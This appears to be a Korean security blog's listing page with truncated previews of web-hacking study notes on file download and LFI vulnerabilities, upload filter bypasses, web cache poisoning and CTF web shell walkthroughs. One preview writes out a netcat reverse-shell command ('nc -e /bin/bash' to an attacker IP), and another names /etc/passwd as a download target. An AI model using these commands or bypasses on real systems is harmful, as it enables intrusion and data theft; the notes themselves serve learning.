본문 바로가기

전체 글

(157)
File Download Vuln * 파일 다운로드 취약점이란?공격자가 권한에 벗어난 서버의 파일을 다운로드 받을 수 있는 취약점.* 발생 위치파일을 다운로드 할 수 있는 모든 곳* 파일 다운로드 취약점의 특징소스코드 실행 불가능하지만 덕분에 소스코드를 다운로드 할 수 있다.서버의 소스코드를 다운하여 취약점을 추가로 찾을 수 있다.때문에 공격자 입장에서 파일 다운로드 취약점을 발견했을 시, 서버의 소스코드를 찾는다.* 취약점 시연마이페이지의 소스코드를 다운받아DB 정보, SQL 사용 정보 등을 확인할 수 있는 모습이다.* PoC 파일파일 다운로드 취약점 발견 시, 아래와 같은 파일로 PoC 증명을 추천한다./etc/passwd/boot.ini/winnt/win.ini* 대응 방안파일 업로드 공격과 동일하다. File Upload Vuln..
LFI(Local File Include) Vuln include 란?다른 파일의 내용을 현재 파일에 "포함" 시키는 것!!// dbconn.php// login.php// login.phpLFI(Local File Include) 취약점?동적 페이지에서 다른 동적 페이지의 소스코드를 include 하는 기능이 있을 때,해당 기능을 악용해서 임의의 소스코드를 Include 하도록 유도하는 공격이 가능함.서버에 존재하는 임의의 파일을 가져올 수 있다.소스코드는 가져올 수 없다. (★동적 코드는 실행돼서 출력되기 때문!!!★)취약점 시연인사말 : LFI 취약점 존재게시판 : 파일 업로드 기능 존재인사말 서비스에 접속해보면,언어 선택 시, 해당 언어로된 문자열이 lang 파라미터의 php 파일(ko.php)을 통해 출력되고 있다.여기서 주목할 포인트는 gree..
File Upload ByPass 1. MIME Type 변조1.1. Content-Type 제한 우회if (Content-Type != "image/jpeg"){ print("이미지만 업로드 가능!!")}업로드하는 컨텐츠의 타입이 이미지가 아닌 경우,업로드를 제한하는 로직이 설정돼 있는 케이스가 있다.Proxy 툴을 이용해Content-Type 속성 값을 이미지로 변경해 주면파일 업로드 우회가 가능하다.2. 블랙리스트 기반 파일 확장자 필터링2.1. 대소문자업로드되는 파일명에서 확장자를 확인하고,php, jsp 등의 확장자를 제한하는 경우가 있다.pHp, PhP 등 대소문자를 혼잡하여 확장자 필터링을 우회할 수 있다.2.2. 같은 백엔드 언어의 다른 확장자 사용또한, WAS 서버에서 php 언어로 동작하는다른 확장자를 사용하는 방..
Web Cache Poisoning 선수 학습 Web Cache WorkWeb Cache?서버와 클라이언트 사이에서 응답의 사본을 저장하고 전달하는 역할을 한다.트래픽 분산으로 인한 서버 부하 감소와 빠른 응답을 목적으로 만들어졌다.Web Cache Works?1. 캐시 서버는 클라velvetviolet1024.tistory.comindex.php (요청받을 Header 추가한 코드)더보기 Alioth's Web Page 게시판 $name"."님"; ?> | 로그아웃 로그인 | 회원가입 Web Cache Poisoning공격자가 캐시 서버로 나쁜 응답이 캐시 되게 만들고, 이용자들이 해당 캐시를 가져가게 만드는 공격unkeyed 헤더 값 요청이 Self-XSS를 만들어 내는지 확..
Web Cache Work Web Cache?서버와 클라이언트 사이에서 응답의 사본을 저장하고 전달하는 역할을 한다.트래픽 분산으로 인한 서버 부하 감소와 빠른 응답을 목적으로 만들어졌다.Web Cache Works?1. 캐시 서버는 클라이언트의 요청에 대한 응답 사본이 캐싱돼 있는지 판단한다.2. 만약 캐싱돼 있는 사본에 대한 요청이라면 캐시 서버가 사본을 전달한다.3. 캐시 서버에 사본이 없으면 원본 서버에서 요청에 대한 응답 페이지를 가져와 클라이언트에게 전달하고, 해당 페이지를 캐시 서버에 사본으로 저장한다. 그렇다면 캐시 서버는 클라이언트의 요청에서 어떤 정보를 확인하고 캐싱된 응답이 있는지 판단할까?Cache Keys캐시 서버에서는 똑같은 파일을 요청하는지 식별하는 방법으로 Cache Key를 사용한다.Cache key..
리버스 쉘(Reverse Shell) 실습(with netcat) 1. 공격자 서버 포트 리스닝nc -l -p [포트번호]공격자 서버에서 netcat 도구를 활용해 1024번 포트를 리스닝으로 열어 놓는다.2. 웹 쉘 업로드파일 업로드 취약점이 있는 개인 홈페이지에php로 작성된 웹 쉘을 업로드했다.3. 리버스 쉘 작성nc -e /bin/bash [공격자 서버 IP] [포트번호] 더보기-e 옵션이 사용되지 않을 때# apt-get install netcat-traditional# update-alternatives --config ncㄴ> 2번 옵션 선택https://aceatom.tistory.com/346 nc -e 옵션 사용이 안될때nc를 통해 리버스쉘을 연결하려고 하는데 사진처럼 -e 옵션이 유효하지 않다고 할 때 해결법이다. 검색을 해보니 이 상황은 -e 옵션..
Web Shell 2 1) 게시판에 들어간다. 2) 게시글 작성 페이지에 들어간다. 3) 웹 쉘 파일을 작성한 뒤, 게시글을 작성할 때 업로드한다.URL을 확인하면 WAS 서버의 백엔드 언어가 php임을 알 수 있다. 4) 자바스크립트로 인해 파일의 확장자가 필터링되고 있었다.개발자 도구를 통해 페이지에 소스코드를 확인해 보니,브라우저에서 업로드하는 파일의 확장자를 필터링하도록 하는 자바스크립트 코드가 포함돼 있었다.프록시 툴을 통해서버에서 글 작성 페이지를 응답할 때,응답 페이지에서 자바스크립트를 삭제했다.이후 다시 웹 쉘을 업로드해 보니,업로드될 수 없는 파일이 탐지됐다고 하며, 웹 쉘 파일명을 띄워주는 모습을 볼 수 있다. 5) Content-Type 제한 우회를 시도했다.컨텐츠 타입을 이미지로 변경해 요청했다.하지만 ..
Web Shell 1 1) 게시판에 들어간다. 2) 글 작성 페이지에 들어간다. 3) 웹 쉘 작성 후, 게시글에 업로드한다.URL을 확인하면 WAS 서버에서 php 언어를 사용하는 것을 확인할 수 있다. 4) 작성된 게시글에서 웹 쉘이 저장된 위치를 확인한다.URL : http://ctf.segfaulthub.com:8989/webshell_1/files/alioth/webshell.php  5) 웹 쉘 파일이 저장된 위치로 이동한다. (서버에게 웹 쉘 파일을 요청한다.)6) GET 파라미터를 이용해 서버의 쉘에 명령어를 전달하고 결과가 출력되는지 확인한다. 7) flag.txt 파일의 위치를 찾는다.flag 파일의 위치 : /app/webshell_1/important_data/flag.txt /app/webshell_1/..